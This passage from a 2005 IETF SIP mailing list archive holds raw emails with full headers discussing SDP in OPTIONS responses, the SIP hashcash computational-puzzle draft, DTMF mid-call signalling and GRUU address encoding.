a call, a 486 (Busy Here) would be returned if the UAS is busy, etc. This allows an OPTIONS request to be used to determine the basic state of a UAS, which can be an indication of whether the UAS will accept an INVITE request." Technically this quote refers to the response code - but it would seem to make sense to apply to the other parts of the options response too. "A message body MAY be sent, the type of which is determined by the Accept header field in the OPTIONS request (application/sdp is the default if the Accept header field is not present). If the types include one that can describe media capabilities, the UAS SHOULD include a body in the response for that purpose. Details on the construction of such a body in the case of application/sdp are described in [12]." This quote references RFC3264 (SDP Offer Answer) as a mechanism to form the SDP response. Scott -----Original Message----- From: James M. Polk [mailto:jmpolk@cisco.com] Sent: Thursday, February 24, 2005 10:56 AM To: Scott Godin; 'Peter Hedman (LD/EAB)'; sip@ietf.org Subject: RE: [SIP] SDP in OPTIONS At 08:20 AM 2/24/2005 -0500, Scott Godin wrote: >My understanding is that if an SDP if provided in the OPTIONS request the >SDP in the 200 response should be the same as it would be if the UA was >responding to an INVITE request I thought the SDP in the 200 OK could/would include all the session parameters the UAS was willing to reveal (including all the codecs the UAS was willing to communicate with). > - of course the SDP exchange should not be >acted on - it is only used for capability discovery. > >Scott cheers, James ******************* Truth is not to be argued... it is to be presented _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 14:32:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04554 for ; Thu, 24 Feb 2005 14:32:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4P6E-0008JL-A1 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 14:56:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Ohi-0000IB-9B; Thu, 24 Feb 2005 14:31:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Ohg-0000H6-Hh for sip@megatron.ietf.org; Thu, 24 Feb 2005 14:31:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04419 for ; Thu, 24 Feb 2005 14:31:14 -0500 (EST) Received: from zcars04f.nortelnetworks.com ([47.129.242.57]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4P4b-0008Gc-6d for sip@ietf.org; Thu, 24 Feb 2005 14:55:00 -0500 Received: from zrtpd0j7.us.nortel.com (zrtpd0j7.us.nortel.com [47.140.203.25]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id j1OJUlR15885; Thu, 24 Feb 2005 14:30:48 -0500 (EST) Received: by zrtpd0j7.us.nortel.com with Internet Mail Service (5.5.2653.19) id <1J5B15PK>; Thu, 24 Feb 2005 14:30:47 -0500 Message-ID: <1ECE0EB50388174790F9694F77522CCF01980017@zrc2hxm0.corp.nortel.com> From: "Francois Audet" To: "'Cullen Jennings'" , "'sip@ietf.org'" Subject: RE: [Sip] draft-jennings-sip-hashcash-01 Date: Thu, 24 Feb 2005 14:30:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-Spam-Score: 0.9 (/) X-Scan-Signature: 8de5f93cb2b4e3bee75302e9eacc33db X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0862487815==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.6 (/) X-Scan-Signature: 67c1ea29f88502ef6a32ccec927970f0 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0862487815== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51AA7.548830A6" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C51AA7.548830A6 Content-Type: text/plain We may need to explain some of the limitations of this. It seems to me that this mechanism would not be terribly appropriate for applications that aggregate a large number of clients onto a single platform. For example, this may be too computationally intensive for a large PSTN Gateway, or even a large Proxy. Any ideas of how a UAS would make the decision to send the 419 without burdening the UAC? Should there be a supported/require header for this functionality, so that a UAC could "opt out"? -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 22, 2005 16:46 To: sip@ietf.org Subject: [Sip] draft-jennings-sip-hashcash-01 I updated this draft on "SIP Computational Puzzles" so it has enough detail to implement it. (Previous version did not). It is in the drafts directory and also in HTML form at: http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-hashcash -01.html Cullen ------_=_NextPart_001_01C51AA7.548830A6 Content-Type: text/html Content-Transfer-Encoding: quoted-printable Message
We may=20 need to explain some of the limitations of this. It seems to me that = this=20 mechanism would not be terribly appropriate for applications that = aggregate a=20 large number of clients onto a single platform. For example, this may = be too=20 computationally intensive for a large PSTN Gateway, or even a large=20 Proxy.
 
Any=20 ideas of how a UAS would make the decision to send the 419 without = burdening the=20 UAC? Should there be a supported/require header for this functionality, = so that=20 a UAC could "opt out"?
-----Original Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of = Cullen=20 Jennings
Sent: Tuesday, February 22, 2005 = 16:46
To:=20 sip@ietf.org
Subject: [Sip]=20 draft-jennings-sip-hashcash-01


I updated=20 this draft on "SIP Computational Puzzles" so it has enough detail to = implement=20 it. (Previous version did not). It is in the drafts directory and = also in HTML=20 form at:

http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/d= raft-jennings-sip-hashcash-01.html

Cullen
------_=_NextPart_001_01C51AA7.548830A6-- --===============0862487815== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0862487815==-- From sip-bounces@ietf.org Thu Feb 24 15:20:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12362 for ; Thu, 24 Feb 2005 15:20:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Pqa-0001ej-MS for sip-web-archive@ietf.org; Thu, 24 Feb 2005 15:44:33 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4PSH-00016M-H6; Thu, 24 Feb 2005 15:19:25 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4PSG-00016F-Eo for sip@megatron.ietf.org; Thu, 24 Feb 2005 15:19:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12017 for ; Thu, 24 Feb 2005 15:19:22 -0500 (EST) Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4PpD-0001ck-BC for sip@ietf.org; Thu, 24 Feb 2005 15:43:08 -0500 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id 40CC718001B6 for ; Thu, 24 Feb 2005 20:19:12 +0000 (GMT) X-OB-Received: from unknown (205.158.62.49) by wfilter.us4.outblaze.com; 24 Feb 2005 20:19:09 -0000 Received: by ws1-1.us4.outblaze.com (Postfix, from userid 1001) id 64CAC4BDAB; Thu, 24 Feb 2005 20:19:09 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [203.101.52.244] by ws1-1.us4.outblaze.com with http for banzie@mail.com; Thu, 24 Feb 2005 15:19:09 -0500 From: "Ban Zie" To: sip@ietf.org Date: Thu, 24 Feb 2005 15:19:09 -0500 X-Originating-Ip: 203.101.52.244 X-Originating-Server: ws1-1.us4.outblaze.com Message-Id: <20050224201909.64CAC4BDAB@ws1-1.us4.outblaze.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Content-Transfer-Encoding: quoted-printable Subject: [Sip] midcall signalling X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Content-Transfer-Encoding: quoted-printable hello, is there 100% agreement / concensus on how midcall signalling data is to be= carried in sip ? when 2 SIP UA's are alrady in conversation, then if one user presses some k= eys on his keypad, are they transmitted as DTMF on RTP, or how exactly is i= t done ? cheers, bzie. --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 15:54:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19874 for ; Thu, 24 Feb 2005 15:54:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Pzo-0003oN-O4 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 15:54:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4PzF-0002vc-2P; Thu, 24 Feb 2005 15:53:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4PzC-0002vS-Sm for sip@megatron.ietf.org; Thu, 24 Feb 2005 15:53:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19833 for ; Thu, 24 Feb 2005 15:53:24 -0500 (EST) Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4PzA-0003nZ-Ac for sip@ietf.org; Thu, 24 Feb 2005 15:53:26 -0500 Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-2.cisco.com with ESMTP; 24 Feb 2005 13:04:56 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j1OKrCuC019595; Thu, 24 Feb 2005 12:53:13 -0800 (PST) Received: from [10.32.245.150] (stealth-10-32-245-150.cisco.com [10.32.245.150]) by imail.cisco.com (8.12.11/8.12.10) with SMTP id j1OKlXOH018880; Thu, 24 Feb 2005 12:47:34 -0800 In-Reply-To: <1ECE0EB50388174790F9694F77522CCF01980017@zrc2hxm0.corp.nortel.com> References: <1ECE0EB50388174790F9694F77522CCF01980017@zrc2hxm0.corp.nortel.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <3d5e4ec5619e6473531437e868483c89@cisco.com> Content-Transfer-Encoding: quoted-printable From: David R Oran Subject: Re: [Sip] draft-jennings-sip-hashcash-01 Date: Thu, 24 Feb 2005 15:53:09 -0500 To: "Francois Audet" X-Mailer: Apple Mail (2.619.2) IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1109278054.762507"; x:"432200"; a:"rsa-sha1"; b:"nofws:1690"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"HC4Y40+AByXZEmyfrMmlHpvt970S8F4od8aEg/37EPx0f7Zsmh/mUPeWnFgqNavrNRIokUa1" "08odTO8h4fWXb9wOyDPjrskbjw25Ah1RyUPU7ddheJS9TIooQtXtd1T69fquVYKiInGXRKOJ/jv" "pCXVBY094qzkvv2PQpiVkF8c="; c:"From: David R Oran "; c:"Subject: Re: [Sip] draft-jennings-sip-hashcash-01"; c:"Date: Thu, 24 Feb 2005 15:53:09 -0500" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Content-Transfer-Encoding: quoted-printable Cc: "'Cullen Jennings'" , "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f60d0f7806b0c40781eee6b9cd0b2135 Content-Transfer-Encoding: quoted-printable On Feb 24, 2005, at 2:30 PM, Francois Audet wrote: > We may need to explain some of the limitations of this. It seems to me = =20 > that this mechanism would not be terribly appropriate for applications = =20 > that aggregate a large number of clients onto a single platform. For =20= > example, this may be too computationally intensive for a large PSTN =20= > Gateway, or even a large Proxy. > =A0 That's the whole point! It's to prevent too many calls from one place. =20= It's always under the calling UACs prerogative to give up with "what a =20= bozo who wants me to blow smoke out of my Pentium for 2000ms. Guess he =20= doesn't want to get the call, huh"? I suspect a decently managed UA would only force you not the puzzle =20 palace if you weren't on the buddy list, or some other whitelist. > Any ideas of how a UAS would make the decision to send the 419 without = =20 > burdening the UAC? Should there be a supported/require header for this = =20 > functionality, so that a UAC could "opt out"? If the UAC can opt out the whole exercise is useless. > -----Original Message----- > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of =20= > Cullen Jennings > Sent: Tuesday, February 22, 2005 16:46 > To: sip@ietf.org > Subject: [Sip] draft-jennings-sip-hashcash-01 > > > I updated this draft on "SIP Computational Puzzles" so it has enough =20= > detail to implement it. (Previous version did not). It is in the =20 > drafts directory and also in HTML form at: > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-=20= > hashcash-01.html > > Cullen > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip David R. Oran Cisco Fellow Cisco Systems 7 Ladyslipper Lane Acton, MA 01720 USA Tel: +1 978 264 2048 Email: oran@cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 16:50:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25712 for ; Thu, 24 Feb 2005 16:50:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4QsU-0005OP-5r for sip-web-archive@ietf.org; Thu, 24 Feb 2005 16:50:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Qn5-0002kg-8c; Thu, 24 Feb 2005 16:44:59 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Qn3-0002kY-Pr for sip@megatron.ietf.org; Thu, 24 Feb 2005 16:44:57 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25106 for ; Thu, 24 Feb 2005 16:44:55 -0500 (EST) Received: from web52804.mail.yahoo.com ([206.190.39.168]) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D4Qn2-0005ER-MD for sip@ietf.org; Thu, 24 Feb 2005 16:44:58 -0500 Received: (qmail 28348 invoked by uid 60001); 24 Feb 2005 21:44:47 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=XrW6YWm4J9CKvQdSMmQMEtGR8o+CeR7YTLPhEJbqOZYZo+LFjK9IxYaVmxROpW1bOMP0Pd7KsIK+89lJ9rM3nLUDMhUb4vsf8K4wnZx4W9TRORzp4dXuwejm3ahSpDn62FPQ9VIJMTbmqRgGx3A7Wb+OafnQ809udJrA496ISCE= ; Message-ID: <20050224214447.28346.qmail@web52804.mail.yahoo.com> Received: from [81.214.132.234] by web52804.mail.yahoo.com via HTTP; Thu, 24 Feb 2005 13:44:47 PST Date: Thu, 24 Feb 2005 13:44:47 -0800 (PST) From: Fatih "Eyüp" NAR Subject: Re: [Sip] midcall signalling To: Ban Zie , sip@ietf.org In-Reply-To: <20050224201909.64CAC4BDAB@ws1-1.us4.outblaze.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Scan-Signature: 8b30eb7682a596edff707698f4a80f7d X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 SIP DMTF signalling is done with INFO messages or with RTP messages, the media protocol. This is defined in http://www.ietf.org/rfc/rfc2833.txt - IETF RFC 2833 --- Ban Zie wrote: > hello, > is there 100% agreement / concensus on how midcall > signalling data is to be carried in sip ? > when 2 SIP UA's are alrady in conversation, then if > one user presses some keys on his keypad, are they > transmitted as DTMF on RTP, or how exactly is it > done ? > cheers, > bzie. > -- > ___________________________________________________________ > Sign-up for Ads Free at Mail.com > http://promo.mail.com/adsfreejump.htm > > > _______________________________________________ > Sip mailing list > https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP > Protocol > Use sip-implementors@cs.columbia.edu for questions > on current sip > Use sipping@ietf.org for new developments on the > application of sip > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 18:25:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07040 for ; Thu, 24 Feb 2005 18:25:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4SM7-0007qG-PF for sip-web-archive@ietf.org; Thu, 24 Feb 2005 18:25:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4SFE-0007sy-8F; Thu, 24 Feb 2005 18:18:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4SFC-0007so-V5 for sip@megatron.ietf.org; Thu, 24 Feb 2005 18:18:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06105 for ; Thu, 24 Feb 2005 18:18:04 -0500 (EST) Received: from mail3.microsoft.com ([131.107.3.123]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4SFD-0007cJ-Kq for sip@ietf.org; Thu, 24 Feb 2005 18:18:08 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 24 Feb 2005 15:17:56 -0800 Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 24 Feb 2005 15:17:30 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [Sip] a middle ground approach for knowing AOR of a gruu Date: Thu, 24 Feb 2005 15:17:55 -0800 Message-ID: Thread-Topic: [Sip] a middle ground approach for knowing AOR of a gruu thread-index: AcUad8Uz10AAS/WLQFaid/FQGYwMbQATlwbg From: "Orit Levin" To: "Henning Schulzrinne" , "Jonathan Rosenberg" X-OriginalArrivalTime: 24 Feb 2005 23:17:30.0154 (UTC) FILETIME=[030720A0:01C51AC7] X-Spam-Score: 0.0 (/) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Content-Transfer-Encoding: quoted-printable Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 10d3e4e3c32e363f129e380e644649be Content-Transfer-Encoding: quoted-printable What would be wrong with having a GRUU always formatted as the user AOR with an additional URL parameter carrying the value "making it a GRUU" and understood by the user domain/registrar only? Instead of: sip:jdrosen.instance.00sd8ggdgdasd=3D=3D=3Dasd9@cisco.com Make it: Orit. > -----Original Message----- > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On=20 > Behalf Of Henning Schulzrinne > Sent: Thursday, February 24, 2005 5:44 AM > To: Jonathan Rosenberg > Cc: sip@ietf.org > Subject: Re: [Sip] a middle ground approach for knowing AOR of a gruu >=20 > I find this sub-optimal from a general design point of view.=20 > I thought we have had a general preference for being explicit=20 > about semantics, rather than overloading other elements or=20 > mechanisms. (See discussions on INFO and other similar=20 > topics.) I think many of the proposed labeling mechanisms=20 > would work and supporting at least one, even if somewhat=20 > arbitrarily selected, will get us to do the right thing in=20 > the majority of cases. >=20 > This is particularly important since this is not just a local=20 > matter, i.e., other parties not familiar with the conventions=20 > of the sending side will need to be able to robustly extract=20 > this information. >=20 > Jonathan Rosenberg wrote: > > We had a long discussion in another thread about whether or=20 > not we had=20 > > an additional requirement to allow the recipient of a GRUU=20 > to be able=20 > > to determine the AOR associated with that gruu. This seemed=20 > to be an=20 > > issue for systems that generate call logs or bills, since=20 > you'll have=20 > > these entries that are meaningless. > >=20 > > Though I didnt make any changes to gruu in order to meet this=20 > > requirement, there may be a simple approach that we can=20 > provide that=20 > > fits with the current gruu mechanism. > >=20 > > The spec is clear that there are no constraints on how a domain=20 > > constructs a gruu. The appendix includes a few sample algorithms=20 > > (though I'll note one of them is broken...). As such, there=20 > is nothing=20 > > wrong with a domain constructing a gruu by including the=20 > instance ID=20 > > and AOR in the clear in the user part of the URI: > >=20 > > sip:jdrosen.instance.00sd8ggdgdasd=3D=3D=3Dasd9@cisco.com > >=20 > > for example. Thus, we could list such a technique as a viable=20 > > approach, and recommend that a particular means of encoding=20 > the URI be=20 > > used in order to allow other entities to extract the aor. > >=20 > > Thus, we would have a way for the recipient of a domain to=20 > get a hint=20 > > about the possible AOR (no guarantee though), without changing the=20 > > mechanism at all. > >=20 > > Would that represent a reasonable compromise? > >=20 > > Thanks, > > Jonathan R. >=20 >=20 > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol Use=20 > sip-implementors@cs.columbia.edu for questions on current sip=20 > Use sipping@ietf.org for new developments on the application of sip >=20 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 18:49:27 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09123 for ; Thu, 24 Feb 2005 18:49:27 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Sjb-0008Kz-8r for sip-web-archive@ietf.org; Thu, 24 Feb 2005 18:49:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4SfK-000196-AZ; Thu, 24 Feb 2005 18:45:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4SfH-00018N-C9 for sip@megatron.ietf.org; Thu, 24 Feb 2005 18:45:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08746 for ; Thu, 24 Feb 2005 18:44:59 -0500 (EST) Received: from zcars04f.nortelnetworks.com ([47.129.242.57]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4SfH-0008Dl-A0 for sip@ietf.org; Thu, 24 Feb 2005 18:45:03 -0500 Received: from zrtpd0j7.us.nortel.com (zrtpd0j7.us.nortel.com [47.140.203.25]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id j1ONioj04899; Thu, 24 Feb 2005 18:44:50 -0500 (EST) Received: by zrtpd0j7.us.nortel.com with Internet Mail Service (5.5.2653.19) id <1J5BFKPB>; Thu, 24 Feb 2005 18:44:50 -0500 Message-ID: <1ECE0EB50388174790F9694F77522CCF0198028F@zrc2hxm0.corp.nortel.com> From: "Francois Audet" To: "'David R Oran'" Subject: RE: [Sip] draft-jennings-sip-hashcash-01 Date: Thu, 24 Feb 2005 18:44:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-Spam-Score: 0.8 (/) X-Scan-Signature: 7698d1420ecbbce1995432e99bb6d1a1 Cc: "'Cullen Jennings'" , "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1234877586==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.5 (/) X-Scan-Signature: 162d87dc0b780d17da9b1934777fd451 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1234877586== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51ACA.D094844E" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C51ACA.D094844E Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Dave, I understand this. I guess I wasn't clear. It is in the OTHER direction that I see a problem. I mean when the UAC is, for example, a big gateway. In other words, if a bunch of SIP "phones" UAS all decide to send 419's = to the UAC in the Gateway. > -----Original Message----- > From: David R Oran [mailto:oran@cisco.com]=20 > Sent: Thursday, February 24, 2005 12:53 > To: Audet, Francois [SC100:9T51:EXCH] > Cc: 'Cullen Jennings'; 'sip@ietf.org' > Subject: Re: [Sip] draft-jennings-sip-hashcash-01 >=20 >=20 >=20 > On Feb 24, 2005, at 2:30 PM, Francois Audet wrote: >=20 > > We may need to explain some of the limitations of this. It=20 > seems to me > > that this mechanism would not be terribly appropriate for=20 > applications =20 > > that aggregate a large number of clients onto a single=20 > platform. For =20 > > example, this may be too computationally intensive for a=20 > large PSTN =20 > > Gateway, or even a large Proxy. > > =A0 > That's the whole point! It's to prevent too many calls from=20 > one place. =20 > It's always under the calling UACs prerogative to give up=20 > with "what a =20 > bozo who wants me to blow smoke out of my Pentium for 2000ms.=20 > Guess he =20 > doesn't want to get the call, huh"? >=20 > I suspect a decently managed UA would only force you not the puzzle =20 > palace if you weren't on the buddy list, or some other whitelist. >=20 > > Any ideas of how a UAS would make the decision to send the=20 > 419 without > > burdening the UAC? Should there be a supported/require=20 > header for this =20 > > functionality, so that a UAC could "opt out"? > If the UAC can opt out the whole exercise is useless. >=20 > > -----Original Message----- > > From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On=20 > Behalf Of > > Cullen Jennings > > Sent: Tuesday, February 22, 2005 16:46 > > To: sip@ietf.org > > Subject: [Sip] draft-jennings-sip-hashcash-01 > > > > > > I updated this draft on "SIP Computational Puzzles" so it=20 > has enough =20 > > detail to implement it. (Previous version did not). It is in the =20 > > drafts directory and also in HTML form at: > > > >=20 > 